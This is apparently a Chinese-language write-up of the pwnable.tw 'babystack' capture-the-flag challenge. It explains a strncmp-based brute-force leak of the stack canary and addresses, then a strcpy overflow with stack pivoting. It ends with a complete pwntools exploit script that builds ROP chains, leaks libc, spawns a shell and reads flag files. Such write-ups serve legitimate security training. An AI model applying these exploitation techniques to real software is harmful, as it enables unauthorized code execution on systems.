pwnable.tw babystack writeup

TOC

  1. 1. 溢出点
  2. 2. 思路
    1. 2.1. 泄露栈地址和程序基地址
    2. 2.2. 组合溢出
  3. 3. 完整脚本

一个很有意思的栈溢出,需要多个函数组合来构造漏洞。

原题地址:https://pwnable.tw/challenge/

该题的栈环境需要依赖glibc,可以去原题地址进行下载,下面的打包文件也会附带题目的libc。

源程序下载:babystack.zip

溢出点

总共两个溢出点,一个是泄露栈信息,一个是栈溢出。

void __fastcall Login(const char *a1)
{
size_t v1; // rax
char s[128]; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
read_n(s, 127u);
v1 = strlen(s);
if ( !strncmp(s, a1, v1) )
{
admin = 1;
puts("Login Success !");
}
else
{
puts("Failed !");
}
}

Login函数中,由于判断字符的长度可以受控制,那么就可以进行逐字判断,从而泄露出栈地址的内容。

int __fastcall Copy(char *a1)
{
char src[128]; // [rsp+10h] [rbp-80h]

printf("Copy :");
read_n(src, 63u);
strcpy(a1, src);
return puts("It is magic copy !");
}

Copy函数中,使用的是strcpy函数,我们可以利用Login函数来布局栈结构,然后用Copy函数的strcpy进行栈溢出。

思路

  1. 泄露栈地址和程序基地址
  2. 组合溢出
  3. 泄露libc

泄露栈地址和程序基地址

由于buf的地址是rsp+0x40,所以我们可以泄露rsp+0x40之后的信息。

pwndbg> stack
...
08:0040│ 0x7ffe1835b170 ◂— 0x12e945f216cb8448
09:0048│ 0x7ffe1835b178 ◂— 0x63847b76506d1c14
0a:0050│ rsi 0x7ffe1835b180 —▸ 0x7ffe1835b231 ◂— 0x0
0b:0058│ 0x7ffe1835b188 ◂— 0x0
0c:0060│ rbp 0x7ffe1835b190 —▸ 0x5599b69e2060 ◂— 0x41ff894156415741
0d:0068│ 0x7ffe1835b198 —▸ 0x7f5438052830 (__libc_start_main+240) ◂— mov edi, eax
0e:0070│ 0x7ffe1835b1a0 —▸ 0x7f54383f17d0 —▸ 0x7f54380522c0 ◂— push r14
0f:0078│ 0x7ffe1835b1a8 —▸ 0x7ffe1835b278 —▸ 0x7ffe1835bf76 ◂— './babystack'

调试可以发现我们可以泄露出生成的stack_guard,栈的地址,还有程序基地址。

组合溢出

利用上面的溢出点进行栈溢出,由于payload仅有4个字长,所以这里将跳到Login函数读取更大的payload,由于泄露的栈地址最低字节不确定,所以这里需要进行爆破,payload前面加上ret指令进行滑栈可以增加爆破几率。

layout1 = [
stack_addr - 0x100 + 0x80, # rbp

image_addr + Login_addr,

image_addr + leave_ret,
]

如上所示,rbp为猜测的值。

layout2 = [
image_addr + pop_rdi_ret,
new_stack1_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,

image_addr + pop_rbp_ret,
new_stack1_addr,
image_addr + leave_ret,
]

# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9

temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])

如果程序踩中了我们的payload,之后便是正常的栈转移(泄露libc,执行shell)。

完整脚本

据统计应该是1/6的概率

注意,由于服务器速度很慢,可能执行一次需要数个小时,所以请耐心等待。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './babystack'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10205)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xEBB)
b *$rebase(0x1052)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

random_buf = ''
for i in range(0x10):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + chr(ii))

if(sh.recvline() == 'Login Success !\n'):
random_buf += chr(ii)
sh.sendafter('>> ', '1')
break

print(hexdump(random_buf))

leak_content = '1'

for i in range(6):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + leak_content + chr(ii))

if(sh.recvline() == 'Login Success !\n'):
leak_content += chr(ii)
sh.sendafter('>> ', '1')
break

print(hexdump(leak_content))
stack_addr = u64(leak_content.ljust(8, '\0')) & 0xffffffffffffff00
log.success('stack_addr: ' + hex(stack_addr))

sh.sendafter('>> ', '1' + 'a' * 15)
sh.sendafter('Your passowrd :', 'a')


leak_content = ''

for i in range(6):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + '1' + 'a' * 15 + leak_content + chr(ii))

if(sh.recvline() == 'Login Success !\n'):
leak_content += chr(ii)
sh.sendafter('>> ', '1')
break

print(hexdump(leak_content))
image_addr = u64(leak_content.ljust(8, '\0')) - 0x1060
log.success('image_addr: ' + hex(image_addr))

# 0x00000000000010c3 : pop rdi ; ret
pop_rdi_ret = 0x00000000000010c3
# 0x00000000000010c1 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x00000000000010c1
read_n_addr = 0xCA0
# 0x0000000000000d0d : leave ; ret
leave_ret = 0x0000000000000d0d
Login_addr = 0xDEF


layout1 = [
stack_addr - 0x100 + 0x80, # rbp

image_addr + Login_addr,

image_addr + leave_ret,
]

for i in range(len(layout1))[::-1]:
sh.sendafter('>> ', '1')
temp = '\0' + 'b' * 95 + 'cccccccc' * i + p64((layout1[i] << 8) + 1) + '\0'
sh.sendafter('Your passowrd :', temp[:127])

sh.sendafter('>> ', '3')
sh.sendafter('Copy :', 'b')
sh.sendafter('>> ', '1')

sh.sendafter('>> ', '1')
temp = '\0' + 'b' * 63 + random_buf + 'b' * 0x10 + 'cccccccc' * i + p64(layout1[i]) + '\0'
sh.sendafter('Your passowrd :', temp[:127])

sh.sendafter('>> ', '3')
sh.sendafter('Copy :', 'b')
sh.sendafter('>> ', '1')

sh.sendafter('>> ', '1')
sh.sendafter('Your passowrd :', '\0')

# pause()
sh.sendafter('>> ', '2')

# 0x0000000000000bd0 : pop rbp ; ret
pop_rbp_ret = 0x0000000000000bd0
new_stack1_addr = image_addr + 0x203000 - 0x200

layout2 = [
image_addr + pop_rdi_ret,
new_stack1_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,

image_addr + pop_rbp_ret,
new_stack1_addr,
image_addr + leave_ret,
]

# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9

temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])
# sh.sendafter('Your passowrd :', 'zzzzzzzz' * (16 - len(layout2)) + flat(layout2))
sh.recvline()

new_stack2_addr = image_addr + 0x203000 - 0x100

layout3 = [
0,
image_addr + pop_rdi_ret,
image_addr + elf.got['puts'],
image_addr + elf.plt['puts'],

image_addr + pop_rdi_ret,
new_stack2_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,

image_addr + pop_rbp_ret,
new_stack2_addr,
image_addr + leave_ret,
]

sh.send(flat(layout3))

result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

layout4 = [
0,
image_addr + pop_rdi_ret,
libc_addr + libc.search('/bin/sh\0').next(),
libc_addr + libc.symbols['system'],

image_addr + pop_rdi_ret,
0,
libc_addr + libc.symbols['exit'],
]

sh.send(flat(layout4))

sh.sendline('find /home -name flag | xargs cat')
sh.sendline('cat /home/BabyStack/flag')

sh.interactive()
clear()